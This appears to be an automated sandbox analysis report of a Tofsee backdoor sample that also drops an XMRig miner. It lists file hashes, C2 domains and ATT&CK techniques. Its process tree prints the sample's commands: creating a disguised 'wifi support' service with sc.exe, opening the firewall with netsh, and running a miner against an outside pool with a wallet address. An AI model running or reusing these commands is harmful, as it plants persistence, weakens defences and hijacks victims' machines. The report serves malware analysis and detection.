Analysis

  • max time kernel
    142s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 00:45

General

  • Target

    ad1e0e122fd2411a858df3ff5b314c05e0ffa2d466771ce3df7bcde8832bc554.exe

  • Size

    266KB

  • MD5

    798a6ebe9f2b42db274d71cf9e4027b3

  • SHA1

    cf6e33568ce992798d78d67181abb89f23ffb4c7

  • SHA256

    ad1e0e122fd2411a858df3ff5b314c05e0ffa2d466771ce3df7bcde8832bc554

  • SHA512

    f75e8d5ff70db17360256e9b768543bd3390b5f1c02d726e2b80b4577708d7fdf7cfdfd923e58bd659c19966efcde3c3e30a3b0b944da089c489d7f0669f76c9

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad1e0e122fd2411a858df3ff5b314c05e0ffa2d466771ce3df7bcde8832bc554.exe
    "C:\Users\Admin\AppData\Local\Temp\ad1e0e122fd2411a858df3ff5b314c05e0ffa2d466771ce3df7bcde8832bc554.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\otdkjlcn\
      2⤵
        PID:1616
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\thneiazm.exe" C:\Windows\SysWOW64\otdkjlcn\
        2⤵
          PID:1968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create otdkjlcn binPath= "C:\Windows\SysWOW64\otdkjlcn\thneiazm.exe /d\"C:\Users\Admin\AppData\Local\Temp\ad1e0e122fd2411a858df3ff5b314c05e0ffa2d466771ce3df7bcde8832bc554.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3420
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description otdkjlcn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start otdkjlcn
          2⤵
          • Launches sc.exe
          PID:4712
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4436
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 1328
          2⤵
          • Program crash
          PID:216
      • C:\Windows\SysWOW64\otdkjlcn\thneiazm.exe
        C:\Windows\SysWOW64\otdkjlcn\thneiazm.exe /d"C:\Users\Admin\AppData\Local\Temp\ad1e0e122fd2411a858df3ff5b314c05e0ffa2d466771ce3df7bcde8832bc554.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3424
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4368 -s 528
          2⤵
          • Program crash
          PID:4764
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2004 -ip 2004
        1⤵
          PID:4308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4368 -ip 4368
          1⤵
            PID:3564

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\thneiazm.exe
            Filesize

            12.4MB

            MD5

            d810bb384dd303d703d4e5ec18ff5327

            SHA1

            5a5356537f6ce14f992bc6fee80c9d1194ed8f55

            SHA256

            5cd4b5ca8d725167941496d46659c422e32d95009b2cc10c194ff529c21a96a2

            SHA512

            9af4e24d15135f0b46708ce9ad493bffef70d1aa4013ab78e26502b3071049b7897f0fe7781f980189e0535c7649642a1051ca1096bdc1b1ea06b248bd420486

          • C:\Windows\SysWOW64\otdkjlcn\thneiazm.exe
            Filesize

            12.4MB

            MD5

            d810bb384dd303d703d4e5ec18ff5327

            SHA1

            5a5356537f6ce14f992bc6fee80c9d1194ed8f55

            SHA256

            5cd4b5ca8d725167941496d46659c422e32d95009b2cc10c194ff529c21a96a2

            SHA512

            9af4e24d15135f0b46708ce9ad493bffef70d1aa4013ab78e26502b3071049b7897f0fe7781f980189e0535c7649642a1051ca1096bdc1b1ea06b248bd420486

          • memory/1096-168-0x0000000000000000-mapping.dmp
          • memory/1096-169-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1096-175-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1616-133-0x0000000000000000-mapping.dmp
          • memory/1968-134-0x0000000000000000-mapping.dmp
          • memory/2004-130-0x0000000002DF2000-0x0000000002E03000-memory.dmp
            Filesize

            68KB

          • memory/2004-132-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/2004-131-0x0000000002DC0000-0x0000000002DD3000-memory.dmp
            Filesize

            76KB

          • memory/2004-141-0x0000000002DF2000-0x0000000002E03000-memory.dmp
            Filesize

            68KB

          • memory/2004-142-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/3420-136-0x0000000000000000-mapping.dmp
          • memory/3424-159-0x00000000005E0000-0x00000000005E5000-memory.dmp
            Filesize

            20KB

          • memory/3424-165-0x00000000005F0000-0x00000000005F7000-memory.dmp
            Filesize

            28KB

          • memory/3424-173-0x0000000000120000-0x0000000000135000-memory.dmp
            Filesize

            84KB

          • memory/3424-148-0x0000000000120000-0x0000000000135000-memory.dmp
            Filesize

            84KB

          • memory/3424-144-0x0000000000120000-0x0000000000135000-memory.dmp
            Filesize

            84KB

          • memory/3424-150-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/3424-153-0x0000000000530000-0x0000000000536000-memory.dmp
            Filesize

            24KB

          • memory/3424-156-0x0000000000540000-0x0000000000550000-memory.dmp
            Filesize

            64KB

          • memory/3424-143-0x0000000000000000-mapping.dmp
          • memory/3424-162-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/4368-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/4368-147-0x00000000030CE000-0x00000000030DE000-memory.dmp
            Filesize

            64KB

          • memory/4436-140-0x0000000000000000-mapping.dmp
          • memory/4712-138-0x0000000000000000-mapping.dmp
          • memory/4964-137-0x0000000000000000-mapping.dmp